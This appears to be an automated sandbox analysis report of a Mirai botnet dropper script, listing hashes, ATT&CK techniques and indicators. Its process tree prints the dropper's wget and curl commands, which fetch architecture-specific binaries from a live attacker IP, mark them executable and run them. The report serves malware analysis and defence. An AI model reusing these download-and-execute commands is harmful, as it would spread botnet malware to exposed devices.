mirai | 09e9f78247105e4500f5722131940080633c40ba32803d3f4b5b370ae5ae6233

Analysis

max time kernel
29s
max time network
31s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
15-12-2024 10:38

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General

Target

Oblivion121.sh
Size

1KB
MD5

90e5e43e5d798a41934d7f30e8208b24
SHA1

0748835c71a1c54c8ea6bc7d0baf831f12eb0ef7
SHA256

09e9f78247105e4500f5722131940080633c40ba32803d3f4b5b370ae5ae6233
SHA512

ea39caa2f2242cd2c46b6f8841fb6e4bb8defdb2fb2dfb831f0dde5cee12707dc1aebc920c1e0834bcc7fab1aeb5caf69cf3ba56f1e6d9a5b9c4bd7b87020032

Score

10^/10

mirai mirai botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

MIRAI

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (6497) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
760	chmod
767	chmod
810	chmod
838	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/cp	761	cp
/tmp/cp	768	cp
/tmp/cp	812	cp
/tmp/cp	839	cp

Modifies Watchdog functionality 1 TTPs 6 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Enumerates active TCP sockets 1 TTPs 3 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp

Enumerates running processes
Discovers information about currently running processes on the system

Reads system network configuration 1 TTPs 3 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/342/fd	cp
File opened for reading	/proc/723/fd	cp
File opened for reading	/proc/769/fd	cp
File opened for reading	/proc/775/fd	cp
File opened for reading	/proc/843/fd	cp
File opened for reading	/proc/339/fd	cp
File opened for reading	/proc/688/fd	cp
File opened for reading	/proc/730/fd	cp
File opened for reading	/proc/821/fd	cp
File opened for reading	/proc/393/fd	cp
File opened for reading	/proc/448/fd	cp
File opened for reading	/proc/688/fd	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/737/fd	cp
File opened for reading	/proc/152/fd	cp
File opened for reading	/proc/176/fd	cp
File opened for reading	/proc/152/fd	cp
File opened for reading	/proc/337/fd	cp
File opened for reading	/proc/448/fd	cp
File opened for reading	/proc/397/fd	cp
File opened for reading	/proc/684/fd	cp
File opened for reading	/proc/820/fd	cp
File opened for reading	/proc/339/fd	cp
File opened for reading	/proc/176/fd	cp
File opened for reading	/proc/393/fd	cp
File opened for reading	/proc/816/fd	cp
File opened for reading	/proc/820/fd	cp
File opened for reading	/proc/823/fd	cp
File opened for reading	/proc/342/fd	cp
File opened for reading	/proc/722/fd	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/771/fd	cp
File opened for reading	/proc/778/fd	cp
File opened for reading	/proc/372/fd	cp
File opened for reading	/proc/690/fd	cp
File opened for reading	/proc/737/fd	cp
File opened for reading	/proc/372/fd	cp
File opened for reading	/proc/827/fd	cp
File opened for reading	/proc/844/fd	cp
File opened for reading	/proc/814/fd	cp
File opened for reading	/proc/448/fd	cp
File opened for reading	/proc/814/fd	cp
File opened for reading	/proc/371/fd	cp
File opened for reading	/proc/818/fd	cp
File opened for reading	/proc/769/fd	cp
File opened for reading	/proc/688/fd	cp
File opened for reading	/proc/684/fd	cp
File opened for reading	/proc/342/fd	cp
File opened for reading	/proc/722/fd	cp
File opened for reading	/proc/775/fd	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/fd	cp
File opened for reading	/proc/690/fd	cp
File opened for reading	/proc/691/fd	cp
File opened for reading	/proc/778/fd	cp
File opened for reading	/proc/836/fd	cp
File opened for reading	/proc/847/fd	cp
File opened for reading	/proc/690/fd	cp
File opened for reading	/proc/730/fd	cp
File opened for reading	/proc/723/fd	cp
File opened for reading	/proc/818/fd	cp
File opened for reading	/proc/252/fd	cp
File opened for reading	/proc/337/fd	cp
File opened for reading	/proc/392/fd	cp

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
764	wget
765	curl
766	cat
768	cp

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/IGz.mips	curl
File opened for modification	/tmp/IGz.mpsl	curl
File opened for modification	/tmp/IGz.arm4	curl
File opened for modification	/tmp/IGz.arm5	wget
File opened for modification	/tmp/IGz.x86	curl
File opened for modification	/tmp/cp	Oblivion121.sh
File opened for modification	/tmp/IGz.mips	wget
File opened for modification	/tmp/IGz.mpsl	wget
File opened for modification	/tmp/IGz.x86	wget

/tmp/Oblivion121.sh
/tmp/Oblivion121.sh
1⤵
- Writes file to tmp directory
PID:730
- /usr/bin/wget
  wget http://188.132.232.157/IGz/IGz.x86
  2⤵
  - Writes file to tmp directory
  PID:733
- /usr/bin/curl
  curl -O http://188.132.232.157/IGz/IGz.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/cat
  cat IGz.x86
  2⤵
  PID:758
- /bin/chmod
  chmod +x cp IGz.x86 Oblivion121.sh systemd-private-94dbc7448e0a4c68984d42fc8a1299f5-systemd-timedated.service-n9tqSN
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/cp
  ./cp x86
  2⤵
  - Executes dropped EXE
  PID:761
- /usr/bin/wget
  wget http://188.132.232.157/IGz/IGz.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:764
- /usr/bin/curl
  curl -O http://188.132.232.157/IGz/IGz.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:765
- /bin/cat
  cat IGz.mips
  2⤵
  - System Network Configuration Discovery
  PID:766
- /bin/chmod
  chmod +x cp IGz.mips IGz.x86 Oblivion121.sh systemd-private-94dbc7448e0a4c68984d42fc8a1299f5-systemd-timedated.service-n9tqSN
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/cp
  ./cp mips
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:768
- /usr/bin/wget
  wget http://188.132.232.157/IGz/IGz.mpsl
  2⤵
  - Writes file to tmp directory
  PID:772
- /usr/bin/curl
  curl -O http://188.132.232.157/IGz/IGz.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod +x cp IGz.mips IGz.mpsl IGz.x86 Oblivion121.sh systemd-private-94dbc7448e0a4c68984d42fc8a1299f5-systemd-timedated.service-n9tqSN
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/cp
  ./cp mpsl
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:812
- /usr/bin/wget
  wget http://188.132.232.157/IGz/IGz.arm4
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://188.132.232.157/IGz/IGz.arm4
  2⤵
  - Writes file to tmp directory
  PID:828
- /bin/chmod
  chmod +x cp IGz.arm4 IGz.mips IGz.mpsl IGz.x86 Oblivion121.sh systemd-private-94dbc7448e0a4c68984d42fc8a1299f5-systemd-timedated.service-n9tqSN
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/cp
  ./cp arm4
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:839
- /usr/bin/wget
  wget http://188.132.232.157/IGz/IGz.arm5
  2⤵
  - Writes file to tmp directory
  PID:844
- /usr/bin/curl
  curl -O http://188.132.232.157/IGz/IGz.arm5
  2⤵
  PID:849

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/IGz.x86

Filesize
72KB

MD5
acd283bf65ed831dd470134f403a9294

SHA1
3c0f8231e8089430e32ef8daea73597170a2b4c0

SHA256
8d4e7068fc99a8f0fc7e2b095c206fda09ade9ea61091c40405e90dd6894ed67

SHA512
0847ba7306de9087cd0a4f79f20de2da0baffa1e2d8c09d509b3bd573122593c935b6e39076393d08b9e2da12d89b55f70cbb3c99d42175c4daca848f00a8c72

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/tmp/cp

Filesize
153KB

MD5
558fc8df865663836770a42334dd88c0

SHA1
0276f7274984928e64fbe354bb0df966d1eacb86

SHA256
b23789685e87bf3931a7cc2c8d33dcf4417332e5d5a5cd7778f97e063f8d9118

SHA512
561756714ec8c40ed714e350df57f3c494e0995cfb6e0ca9146d4b47651f66b20d2c11d0fd77f3f05b92ca4ec05f3ddfb532ac92287a316354d2ea432e3fea4e

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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